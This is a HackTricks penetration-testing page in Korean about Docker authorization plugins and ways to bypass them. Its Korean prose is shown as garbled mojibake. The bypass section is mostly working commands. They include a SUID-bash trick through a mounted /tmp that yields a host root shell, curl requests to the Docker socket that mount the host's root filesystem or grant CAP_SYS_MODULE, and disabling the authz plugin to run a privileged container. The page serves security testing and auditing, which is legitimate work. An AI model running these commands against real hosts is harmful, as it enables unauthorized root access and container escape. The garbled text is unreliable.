Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

Docker의 κΈ°λ³Έ κΆŒν•œ λΆ€μ—¬ λͺ¨λΈμ€ λͺ¨λ‘ λ˜λŠ” μ—†μŒμž…λ‹ˆλ‹€. Docker 데λͺ¬μ— μ ‘κ·Όν•  수 μžˆλŠ” κΆŒν•œμ΄ μžˆλŠ” μ‚¬μš©μžλŠ” λͺ¨λ“  Docker ν΄λΌμ΄μ–ΈνŠΈ λͺ…령을 μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€. Docker의 Engine APIλ₯Ό μ‚¬μš©ν•˜μ—¬ 데λͺ¬μ— μ—°λ½ν•˜λŠ” ν˜ΈμΆœμžμ—κ²Œλ„ λ™μΌν•˜κ²Œ μ μš©λ©λ‹ˆλ‹€. 더 큰 μ ‘κ·Ό μ œμ–΄κ°€ ν•„μš”ν•œ 경우, κΆŒν•œ λΆ€μ—¬ ν”ŒλŸ¬κ·ΈμΈμ„ μƒμ„±ν•˜κ³  이λ₯Ό Docker 데λͺ¬ ꡬ성에 μΆ”κ°€ν•  수 μžˆμŠ΅λ‹ˆλ‹€. κΆŒν•œ λΆ€μ—¬ ν”ŒλŸ¬κ·ΈμΈμ„ μ‚¬μš©ν•˜λ©΄ Docker κ΄€λ¦¬μžκ°€ Docker 데λͺ¬μ— λŒ€ν•œ 접근을 κ΄€λ¦¬ν•˜κΈ° μœ„ν•œ μ„ΈλΆ„ν™”λœ μ ‘κ·Ό 정책을 ꡬ성할 수 μžˆμŠ΅λ‹ˆλ‹€.

κΈ°λ³Έ μ•„ν‚€ν…μ²˜

Docker Auth ν”ŒλŸ¬κ·ΈμΈμ€ μ™ΈλΆ€ ν”ŒλŸ¬κ·ΈμΈμœΌλ‘œ, μš”μ²­λœ μž‘μ—…μ„ ν—ˆμš©/κ±°λΆ€ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” μš”μ²­ν•œ μ‚¬μš©μžμ™€ μš”μ²­λœ μž‘μ—…μ— 따라 λ‹¬λΌμ§‘λ‹ˆλ‹€.

λ‹€μŒ μ •λ³΄λŠ” λ¬Έμ„œμ—μ„œ κ°€μ Έμ˜¨ κ²ƒμž…λ‹ˆλ‹€

HTTP μš”μ²­μ΄ CLIλ₯Ό 톡해 λ˜λŠ” Engine APIλ₯Ό 톡해 Docker 데λͺ¬μ— μ „λ‹¬λ˜λ©΄, 인증 ν•˜μœ„ μ‹œμŠ€ν…œμ΄ μ„€μΉ˜λœ 인증 ν”ŒλŸ¬κ·ΈμΈ(λ“€)μ—κ²Œ μš”μ²­μ„ μ „λ‹¬ν•©λ‹ˆλ‹€. μš”μ²­μ—λŠ” μ‚¬μš©μž(호좜자)와 λͺ…λ Ή μ»¨ν…μŠ€νŠΈκ°€ ν¬ν•¨λ©λ‹ˆλ‹€. ν”ŒλŸ¬κ·ΈμΈμ€ μš”μ²­μ„ ν—ˆμš©ν• μ§€ κ±°λΆ€ν• μ§€λ₯Ό κ²°μ •ν•˜λŠ” μ±…μž„μ΄ μžˆμŠ΅λ‹ˆλ‹€.

μ•„λž˜μ˜ μ‹œν€€μŠ€ λ‹€μ΄μ–΄κ·Έλž¨μ€ ν—ˆμš© 및 κ±°λΆ€ κΆŒν•œ λΆ€μ—¬ 흐름을 λ‚˜νƒ€λƒ…λ‹ˆλ‹€:

Authorization Allow flow

Authorization Deny flow

ν”ŒλŸ¬κ·ΈμΈμ— μ „μ†‘λœ 각 μš”μ²­μ€ 인증된 μ‚¬μš©μž, HTTP 헀더 및 μš”μ²­/응닡 본문을 ν¬ν•¨ν•©λ‹ˆλ‹€. μ‚¬μš©μž 이름과 μ‚¬μš©λœ 인증 λ°©λ²•λ§Œ ν”ŒλŸ¬κ·ΈμΈμ— μ „λ‹¬λ©λ‹ˆλ‹€. κ°€μž₯ μ€‘μš”ν•œ 것은 μ‚¬μš©μž 자격 증λͺ…μ΄λ‚˜ 토큰이 μ „λ‹¬λ˜μ§€ μ•ŠλŠ”λ‹€λŠ” κ²ƒμž…λ‹ˆλ‹€. λ§ˆμ§€λ§‰μœΌλ‘œ, λͺ¨λ“  μš”μ²­/응닡 본문이 κΆŒν•œ λΆ€μ—¬ ν”ŒλŸ¬κ·ΈμΈμ— μ „μ†‘λ˜λŠ” 것은 μ•„λ‹™λ‹ˆλ‹€. Content-Type이 text/* λ˜λŠ” application/json인 μš”μ²­/응닡 본문만 μ „μ†‘λ©λ‹ˆλ‹€.

HTTP 연결을 잠재적으둜 νƒˆμ·¨ν•  수 μžˆλŠ” λͺ…λ Ή(HTTP Upgrade), 예λ₯Ό λ“€μ–΄ exec와 같은 경우, κΆŒν•œ λΆ€μ—¬ ν”ŒλŸ¬κ·ΈμΈμ€ 초기 HTTP μš”μ²­μ— λŒ€ν•΄μ„œλ§Œ ν˜ΈμΆœλ©λ‹ˆλ‹€. ν”ŒλŸ¬κ·ΈμΈμ΄ λͺ…령을 μŠΉμΈν•˜λ©΄ λ‚˜λ¨Έμ§€ νλ¦„μ—λŠ” κΆŒν•œ λΆ€μ—¬κ°€ μ μš©λ˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. 특히, 슀트리밍 λ°μ΄ν„°λŠ” κΆŒν•œ λΆ€μ—¬ ν”ŒλŸ¬κ·ΈμΈμ— μ „λ‹¬λ˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. 청크된 HTTP 응닡을 λ°˜ν™˜ν•˜λŠ” λͺ…λ Ή, 예λ₯Ό λ“€μ–΄ logs 및 events와 같은 경우, HTTP μš”μ²­λ§Œ κΆŒν•œ λΆ€μ—¬ ν”ŒλŸ¬κ·ΈμΈμ— μ „μ†‘λ©λ‹ˆλ‹€.

μš”μ²­/응닡 처리 쀑 일뢀 κΆŒν•œ λΆ€μ—¬ 흐름은 Docker 데λͺ¬μ— μΆ”κ°€ 쿼리λ₯Ό μˆ˜ν–‰ν•΄μ•Ό ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ 흐름을 μ™„λ£Œν•˜κΈ° μœ„ν•΄ ν”ŒλŸ¬κ·ΈμΈμ€ 일반 μ‚¬μš©μžμ™€ μœ μ‚¬ν•˜κ²Œ 데λͺ¬ APIλ₯Ό ν˜ΈμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ μΆ”κ°€ 쿼리λ₯Ό ν™œμ„±ν™”ν•˜λ €λ©΄ ν”ŒλŸ¬κ·ΈμΈμ΄ κ΄€λ¦¬μžκ°€ μ μ ˆν•œ 인증 및 λ³΄μ•ˆ 정책을 ꡬ성할 수 μžˆλŠ” μˆ˜λ‹¨μ„ μ œκ³΅ν•΄μ•Ό ν•©λ‹ˆλ‹€.

μ—¬λŸ¬ ν”ŒλŸ¬κ·ΈμΈ

Docker 데λͺ¬ μ‹œμž‘μ˜ μΌν™˜μœΌλ‘œ ν”ŒλŸ¬κ·ΈμΈμ„ λ“±λ‘ν•˜λŠ” 것은 κ·€ν•˜μ˜ μ±…μž„μž…λ‹ˆλ‹€. μ—¬λŸ¬ ν”ŒλŸ¬κ·ΈμΈμ„ μ„€μΉ˜ν•˜κ³  ν•¨κ»˜ μ—°κ²°ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 체인은 μˆœμ„œκ°€ μžˆμ„ 수 μžˆμŠ΅λ‹ˆλ‹€. 데λͺ¬μ— λŒ€ν•œ 각 μš”μ²­μ€ μˆœμ„œλŒ€λ‘œ 체인을 ν†΅κ³Όν•©λ‹ˆλ‹€. λͺ¨λ“  ν”ŒλŸ¬κ·ΈμΈμ΄ λ¦¬μ†ŒμŠ€μ— λŒ€ν•œ 접근을 ν—ˆμš©ν•  λ•Œλ§Œ 접근이 ν—ˆμš©λ©λ‹ˆλ‹€.

ν”ŒλŸ¬κ·ΈμΈ 예제

Twistlock AuthZ Broker

ν”ŒλŸ¬κ·ΈμΈ authzλŠ” μš”μ²­μ„ μŠΉμΈν•˜κΈ° μœ„ν•΄ ν”ŒλŸ¬κ·ΈμΈμ΄ 읽을 JSON νŒŒμΌμ„ 생성할 수 있게 ν•΄μ€λ‹ˆλ‹€. λ”°λΌμ„œ 각 μ‚¬μš©μžκ°€ μ–΄λ–€ API μ—”λ“œν¬μΈνŠΈμ— μ ‘κ·Όν•  수 μžˆλŠ”μ§€λ₯Ό 맀우 μ‰½κ²Œ μ œμ–΄ν•  수 μžˆλŠ” 기회λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€.

λ‹€μŒμ€ Alice와 Bob이 μƒˆλ‘œμš΄ μ»¨ν…Œμ΄λ„ˆλ₯Ό 생성할 수 μžˆλ„λ‘ ν—ˆμš©ν•˜λŠ” μ˜ˆμž…λ‹ˆλ‹€: {"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}

νŽ˜μ΄μ§€ route_parser.goμ—μ„œ μš”μ²­λœ URLκ³Ό μž‘μ—… κ°„μ˜ 관계λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. νŽ˜μ΄μ§€ types.goμ—μ„œ μž‘μ—… 이름과 μž‘μ—… κ°„μ˜ 관계λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

κ°„λ‹¨ν•œ ν”ŒλŸ¬κ·ΈμΈ νŠœν† λ¦¬μ–Ό

μ„€μΉ˜ 및 디버깅에 λŒ€ν•œ μžμ„Έν•œ 정보가 ν¬ν•¨λœ μ΄ν•΄ν•˜κΈ° μ‰¬μš΄ ν”ŒλŸ¬κ·ΈμΈμ„ μ—¬κΈ°μ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€: https://github.com/carlospolop-forks/authobot

README 및 plugin.go μ½”λ“œλ₯Ό 읽어 μž‘λ™ 방식을 μ΄ν•΄ν•˜μ„Έμš”.

Docker Auth Plugin 우회

μ ‘κ·Ό μ—΄κ±°

확인해야 ν•  μ£Όμš” 사항은 μ–΄λ–€ μ—”λ“œν¬μΈνŠΈκ°€ ν—ˆμš©λ˜λŠ”μ§€μ™€ μ–΄λ–€ HostConfig 값이 ν—ˆμš©λ˜λŠ”μ§€μž…λ‹ˆλ‹€.

이 μ—΄κ±°λ₯Ό μˆ˜ν–‰ν•˜κΈ° μœ„ν•΄ 도ꡬ https://github.com/carlospolop/docker_auth_profilerλ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

ν—ˆμš©λ˜μ§€ μ•ŠλŠ” run --privileged

μ΅œμ†Œ κΆŒν•œ

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

μ»¨ν…Œμ΄λ„ˆ μ‹€ν–‰ ν›„ 특ꢌ μ„Έμ…˜ μ–»κΈ°

이 경우 μ‹œμŠ€ν…œ κ΄€λ¦¬μžλŠ” μ‚¬μš©μžκ°€ λ³Όλ₯¨μ„ λ§ˆμš΄νŠΈν•˜κ³  --privileged ν”Œλž˜κ·Έλ‘œ μ»¨ν…Œμ΄λ„ˆλ₯Ό μ‹€ν–‰ν•˜λŠ” 것을 κΈˆμ§€ν•˜κ±°λ‚˜ μ»¨ν…Œμ΄λ„ˆμ— μΆ”κ°€ κΆŒν•œμ„ λΆ€μ—¬ν•˜λŠ” 것을 κΈˆμ§€ν–ˆμŠ΅λ‹ˆλ‹€:

docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.

κ·ΈλŸ¬λ‚˜ μ‚¬μš©μžλŠ” μ‹€ν–‰ 쀑인 μ»¨ν…Œμ΄λ„ˆ λ‚΄μ—μ„œ 셸을 μƒμ„±ν•˜κ³  μΆ”κ°€ κΆŒν•œμ„ λΆ€μ—¬ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de

# Now you can run a shell with --privileged
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
# With --cap-add=ALL
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash

이제 μ‚¬μš©μžλŠ” 이전에 λ…Όμ˜λœ κΈ°μˆ μ„ μ‚¬μš©ν•˜μ—¬ μ»¨ν…Œμ΄λ„ˆμ—μ„œ νƒˆμΆœν•˜κ³  호슀트 λ‚΄μ—μ„œ κΆŒν•œμ„ μƒμŠΉμ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€.

μ“°κΈ° κ°€λŠ₯ν•œ 폴더 마운트

이 경우 μ‹œμŠ€ν…œ κ΄€λ¦¬μžλŠ” μ‚¬μš©μžκ°€ --privileged ν”Œλž˜κ·Έλ‘œ μ»¨ν…Œμ΄λ„ˆλ₯Ό μ‹€ν–‰ν•˜λŠ” 것을 κΈˆμ§€ν•˜κ±°λ‚˜ μ»¨ν…Œμ΄λ„ˆμ— μΆ”κ°€ κΆŒν•œμ„ λΆ€μ—¬ν•˜μ§€ μ•Šμ•˜μœΌλ©°, /tmp ν΄λ”λ§Œ λ§ˆμš΄νŠΈν•˜λŠ” 것을 ν—ˆμš©ν–ˆμŠ΅λ‹ˆλ‹€.

host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root

Note

/tmp 폴더λ₯Ό λ§ˆμš΄νŠΈν•  수 없을 μˆ˜λ„ μžˆμ§€λ§Œ, λ‹€λ₯Έ μ“°κΈ° κ°€λŠ₯ν•œ 폴더λ₯Ό λ§ˆμš΄νŠΈν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ“°κΈ° κ°€λŠ₯ν•œ λ””λ ‰ν† λ¦¬λŠ” λ‹€μŒμ„ μ‚¬μš©ν•˜μ—¬ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€: find / -writable -type d 2>/dev/null

λ¦¬λˆ…μŠ€ λ¨Έμ‹ μ˜ λͺ¨λ“  디렉토리가 suid λΉ„νŠΈλ₯Ό μ§€μ›ν•˜λŠ” 것은 μ•„λ‹™λ‹ˆλ‹€! suid λΉ„νŠΈλ₯Ό μ§€μ›ν•˜λŠ” 디렉토리λ₯Ό ν™•μΈν•˜λ €λ©΄ mount | grep -v "nosuid"λ₯Ό μ‹€ν–‰ν•˜μ„Έμš”. 예λ₯Ό λ“€μ–΄, 일반적으둜 /dev/shm, /run, /proc, /sys/fs/cgroup 및 /var/lib/lxcfsλŠ” suid λΉ„νŠΈλ₯Ό μ§€μ›ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

λ˜ν•œ /etc λ˜λŠ” ꡬ성 파일이 ν¬ν•¨λœ λ‹€λ₯Έ 폴더λ₯Ό λ§ˆμš΄νŠΈν•  수 μžˆλ‹€λ©΄, 도컀 μ»¨ν…Œμ΄λ„ˆμ—μ„œ 루트둜 λ³€κ²½ν•˜μ—¬ ν˜ΈμŠ€νŠΈμ—μ„œ μ•…μš©ν•˜κ³  κΆŒν•œμ„ μƒμŠΉμ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€ (예: /etc/shadow μˆ˜μ •).

Unchecked API Endpoint

이 ν”ŒλŸ¬κ·ΈμΈμ„ κ΅¬μ„±ν•˜λŠ” μ‹œμŠ€ν…œ κ΄€λ¦¬μžμ˜ μ±…μž„μ€ 각 μ‚¬μš©μžκ°€ μˆ˜ν–‰ν•  수 μžˆλŠ” μž‘μ—…κ³Ό κΆŒν•œμ„ μ œμ–΄ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. λ”°λΌμ„œ κ΄€λ¦¬μžκ°€ μ—”λ“œν¬μΈνŠΈμ™€ 속성에 λŒ€ν•΄ λΈ”λž™λ¦¬μŠ€νŠΈ μ ‘κ·Ό 방식을 μ·¨ν•˜λ©΄, κ³΅κ²©μžκ°€ κΆŒν•œμ„ μƒμŠΉμ‹œν‚¬ 수 μžˆλŠ” 일뢀λ₯Ό μžŠμ–΄λ²„λ¦΄ 수 μžˆμŠ΅λ‹ˆλ‹€.

도컀 APIλ₯Ό 확인할 수 μžˆμŠ΅λ‹ˆλ‹€: https://docs.docker.com/engine/api/v1.40/#

Unchecked JSON Structure

Binds in root

μ‹œμŠ€ν…œ κ΄€λ¦¬μžκ°€ 도컀 방화벽을 ꡬ성할 λ•Œ API의 β€œBindsβ€œμ™€ 같은 μ€‘μš”ν•œ λ§€κ°œλ³€μˆ˜λ₯Ό μžŠμ–΄λ²„λ Έμ„ κ°€λŠ₯성이 μžˆμŠ΅λ‹ˆλ‹€.
λ‹€μŒ μ˜ˆμ œμ—μ„œλŠ” 이 잘λͺ»λœ ꡬ성을 μ•…μš©ν•˜μ—¬ 호슀트의 루트 (/) 폴더λ₯Ό λ§ˆμš΄νŠΈν•˜λŠ” μ»¨ν…Œμ΄λ„ˆλ₯Ό μƒμ„±ν•˜κ³  μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem

Warning

이 μ˜ˆμ œμ—μ„œ Binds λ§€κ°œλ³€μˆ˜λ₯Ό JSON의 루트 μˆ˜μ€€ ν‚€λ‘œ μ‚¬μš©ν•˜κ³  μžˆμ§€λ§Œ APIμ—μ„œλŠ” HostConfig ν‚€ μ•„λž˜μ— λ‚˜νƒ€λ‚˜λŠ” 것을 μ£Όλͺ©ν•˜μ„Έμš”.

HostConfig의 Binds

루트의 Binds와 λ™μΌν•œ 지침을 따라 Docker API에 이 μš”μ²­μ„ μˆ˜ν–‰ν•˜μ„Έμš”:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create

Mounts in root

Binds in root와 λ™μΌν•œ 지침을 λ”°λ₯΄λ©° Docker API에 이 μš”μ²­μ„ μˆ˜ν–‰ν•©λ‹ˆλ‹€:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create

Mounts in HostConfig

Binds in root와 λ™μΌν•œ 지침을 λ”°λ₯΄λ©°, Docker API에 이 μš”μ²­μ„ μˆ˜ν–‰ν•©λ‹ˆλ‹€:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre

Unchecked JSON Attribute

μ‹œμŠ€ν…œ κ΄€λ¦¬μžκ°€ 도컀 방화벽을 ꡬ성할 λ•Œ API의 β€œHostConfig” λ‚΄μ˜ β€œCapabilitiesβ€œμ™€ 같은 λ§€κ°œλ³€μˆ˜μ˜ μ€‘μš”ν•œ 속성을 μžŠμ—ˆμ„ κ°€λŠ₯성이 μžˆμŠ΅λ‹ˆλ‹€. λ‹€μŒ μ˜ˆμ œμ—μ„œλŠ” 이 잘λͺ»λœ ꡬ성을 μ•…μš©ν•˜μ—¬ SYS_MODULE κΆŒν•œμ„ κ°€μ§„ μ»¨ν…Œμ΄λ„ˆλ₯Ό μƒμ„±ν•˜κ³  μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability

Note

**HostConfig**λŠ” 일반적으둜 μ»¨ν…Œμ΄λ„ˆμ—μ„œ νƒˆμΆœν•˜κΈ° μœ„ν•œ ν₯미둜운 κΆŒν•œμ„ ν¬ν•¨ν•˜λŠ” ν‚€μž…λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ 이전에 λ…Όμ˜ν•œ 바와 같이, κ·Έ μ™ΈλΆ€μ—μ„œ Bindsλ₯Ό μ‚¬μš©ν•˜λŠ” 것도 μž‘λ™ν•˜λ©° μ œν•œμ„ μš°νšŒν•  수 μžˆμŠ΅λ‹ˆλ‹€.

ν”ŒλŸ¬κ·ΈμΈ λΉ„ν™œμ„±ν™”

sysadmin이 ν”ŒλŸ¬κ·ΈμΈμ„ λΉ„ν™œμ„±ν™”ν•  수 μžˆλŠ” λŠ₯λ ₯을 κΈˆμ§€ν•˜λŠ” 것을 μžŠμ—ˆλ‹€λ©΄, 이λ₯Ό μ΄μš©ν•˜μ—¬ μ™„μ „νžˆ λΉ„ν™œμ„±ν™”ν•  수 μžˆμŠ΅λ‹ˆλ‹€!

docker plugin list #Enumerate plugins

# If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output:
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
# "authbolt" is the name of the previous plugin

docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot

ν”ŒλŸ¬κ·ΈμΈμ„ 승격 ν›„ λ‹€μ‹œ ν™œμ„±ν™”ν•˜λŠ” 것을 μžŠμ§€ λ§ˆμ„Έμš”, κ·Έλ ‡μ§€ μ•ŠμœΌλ©΄ docker μ„œλΉ„μŠ€μ˜ μž¬μ‹œμž‘μ΄ μž‘λ™ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€!

Auth Plugin Bypass writeups

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°